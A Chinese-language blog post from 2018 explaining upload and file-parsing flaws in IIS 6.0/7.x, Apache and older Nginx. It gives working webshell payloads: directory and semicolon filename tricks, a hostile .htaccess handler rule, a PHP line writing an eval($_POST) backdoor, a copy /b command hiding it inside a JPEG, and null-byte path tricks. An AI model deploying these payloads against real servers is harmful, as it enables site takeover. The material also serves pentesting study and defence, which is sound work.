文件解析漏洞

0x00 IIS 6.0解析漏洞

目录解析漏洞

Eg:

/xx.asp/webshell.jpg

/xx.asa/webshell.jpg

上面两个例子演示了目录解析漏洞,.asp.asa结尾的目录下的任何文件都被当做asp文件来解析并执行。

这如果网站本身存在这类目录,或者可以自己创建一个,而且存在跨目录上传漏洞的话,那不需要绕过文件类型检测都可以拿到网站的shell

 

文件解析漏洞

Eg

webshell.asp;jpg --> webshell.asp

上例就是IIS6.0的文件解析漏洞,很直观,意思就是分号后面的不被解析,即解析得webshell.asp,是可执行文件。

IIS6.0除了asp为可执行文件,还有asacercdx等都是可执行文件。

 

0x01 Apache解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

比如 test.php.qwe.asd,“.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

 

其余配置问题导致漏洞

1)如果在 Apache conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
2)如果在 Apache conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

(3).htaccess文件如果可以上传且能覆盖原有配置,

   文件写入配置<FilesMatch "hello"> SetHandler application/x-httpd-php </FilesMatch>

   上面配置意思是:无论文件后缀是什么,主要包含hellp就会php解析器解析此文件

 

0x02 IIS 7.0/IIS 7.5/ Nginx版本小于8.03的畸形解析漏洞

Fast-CGI开启

   这种漏洞的利用方式是在默认Fast-CGI开启状况下,攻击者上传一个名字为sp.jpg,内容为
<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>
的文件,然后当访问sp.jpg/.php这个页面,在这个目录下就会生成一句话木马 payload.php。

常见利用方式:将一张图片和一个写入后门代码的文本合并,将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

eg:copy xx.jpg /b + yy.txt /a xy.jpg

 

/b 即二进制[binary]模式

 

/a 即ascii模式 xx.jpg正常图片文件

yy.txt内容为<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>,意思是将<?php eval($_POST[hehe])?>写入到payload.php的文件中,这样就注入了一个webshell

 

 Fast-CGI关闭(Nginx <8.03 空字节代码执行漏洞)

 

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

利用方式:

在图片中嵌入php代码,嵌入的方法可以使用上面提到的copy命令

访问xxx.jpg%00.php,这样就会执行图片中的php代码

 

 

0x03 其他

在windows环境下,xx.jpg[空格] 或xx.jpg.  这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

eg:

     xx.jpg%00

     xx.jpg.

 

 

posted @ 2018-08-27 21:51  Alummox  阅读(891)  评论(0编辑  收藏  举报